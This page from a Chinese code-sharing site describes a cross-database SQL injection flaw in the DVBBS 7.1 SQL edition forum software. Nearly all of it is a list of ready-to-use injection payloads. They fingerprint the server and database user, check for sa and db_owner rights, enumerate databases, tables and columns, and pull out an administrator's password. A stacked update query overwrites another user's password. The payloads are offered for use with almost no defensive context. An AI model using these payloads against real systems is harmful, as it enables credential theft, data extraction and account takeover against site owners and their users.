欢迎来到代码驿站!

当前位置:首页 >

DVBBS7.1 SQL版 跨库漏洞

时间:2021-08-31 10:00:55|栏目:|点击:
漏洞测试环境:DVBBS7.1 SQL 

受影响文件 
admin/admin.asp 
..... 

漏洞利用 

(select @@version)>0 获得Windows的版本号 
and user_name()='dbo' 判断当前系统的连接用户是不是sa 
(select user_name())>0 爆当前系统的连接用户 
(select db_name())>0 得到当前连接的数据库 
(select IS_MEMBER('db_owner')) --查询数据库当前用户权限 

(select count(*) from master.dbo.sysdatabases where name>1 and dbid=7) ---查询所有数据库名 
(select top 1 name from JxSoufun.dbo.sysobjects where xtype='U') --查询数据库表名 
(select top 1 name from JxSoufun.dbo.sysobjects where xtype='U' and name not in ('web_Admin')) --查询数据库所有表名 
(select count(*) from JxSoufun.dbo.sysobjects where xtype='U' and name='web_Admin' and uid>(str(id))) --查询表名ID 
(select top 1 name from JxSoufun.dbo.syscolumns where id=1125579048) --查询字段名 
(select top 1 name from JxSoufun.dbo.syscolumns where id=1125579048 and name not in('adminname')) --查询所有字段名 
(select count(*) from JxSoufun.dbo.web_Admin where AdminName>1) -查询用户 
(select count(*) from JxSoufun.dbo.web_Admin where Adminpwd>1 and username='bluefire') -查询用户bluefire密码 
;update JxSoufun.dbo.Agency_User set userpwd='965eb72c92a549dd' where username='mthfc';--  

上一篇:常用SQL语句优化技巧总结【经典】

栏    目:

下一篇:docker 容器上编译 go 程序提示找不到文件问题

本文标题:DVBBS7.1 SQL版 跨库漏洞

本文地址:http://www.codeinn.net/misctech/171467.html

推荐教程

广告投放 | 联系我们 | 版权申明

重要申明:本站所有的文章、图片、评论等,均由网友发表或上传并维护或收集自网络,属个人行为,与本站立场无关。

如果侵犯了您的权利,请与我们联系,我们将在24小时内进行处理、任何非本站因素导致的法律后果,本站均不负任何责任。

联系QQ:914707363 | 邮箱:codeinn#126.com(#换成@)

Copyright © 2020 代码驿站 版权所有